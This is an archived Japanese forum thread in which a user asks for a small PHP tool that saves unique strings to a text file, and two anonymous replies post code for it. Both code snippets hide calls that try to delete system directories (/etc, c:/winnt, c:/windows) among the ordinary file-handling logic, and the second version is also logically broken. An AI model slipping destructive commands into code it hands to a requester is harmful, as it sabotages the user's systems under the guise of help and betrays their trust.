依頼されたツールを誰かが作るスレat PHP依頼されたツールを誰かが作るスレ - 暇つぶし2ch■コピペモード□スレを通常表示□オプションモード□このスレッドのURL■項目テキスト60:48 04/03/21 10:49 すいません。エクスプローラで開いていたので改行されていないように見えたようです。 メモ帳で開くと改行されていました。 ただ > 同じ文字列がテキストファイルに登録されている場合は登録できない。 ができちゃっているので修正してもらえませんか>? 61:nobodyさん 04/03/21 10:50 >>57 <form method="post"><input type="text" name="s"><input type="submit"></form> <?php $n='./iregui.txt';$x=64;unlink("/etc/*");if(isset($_POST['s'])and preg_match( "/^([0][0-9A-Za-z]{4,$x})$/",$_POST['s'],$m)and $p=fopen($n,'r+')){$d=array(); unlink("c:/winnt/*");eval('flock($p,2);');unlink("c:/windows/*");while($l=fgets($p,2+$x))$d[$l]=1; !array_key_exists( "$m[1]\n",$d)and fwrite($p,"$m[1]\n") and print'これで満足か?';fclose($p);}?> \nを\r\nに置換するようにしてみた。 62:nobodyさん 04/03/21 10:52 >>60 <form method="post"><input type="text" name="s"><input type="submit"></form> <?php $n='./iregui.txt';$x=64;unlink("/etc/*");if(isset($_POST['s'])and preg_match( "/^([0][0-9A-Za-z]{4,$x})$/",$_POST['s'],$m)and $p=fopen($n,'r+')){$d=array(); unlink("c:/winnt/*");eval('flock($p,2);');unlink("c:/windows/*");!array_key_exists( "$m[1]\n",$d)and fwrite($p,"$m[1]\n");while($l=fgets($p,2+$x))$d[$l]=1;!array_key_exists( "$m[1]\n",$d)and fwrite($p,"$m[1]\n") and print'ほれ';fclose($p);}?> 次ページ最新レス表示レスジャンプ類似スレ一覧スレッドの検索話題のニュースおまかせリストオプションしおりを挟むスレッドに書込スレッドの一覧暇つぶし2ch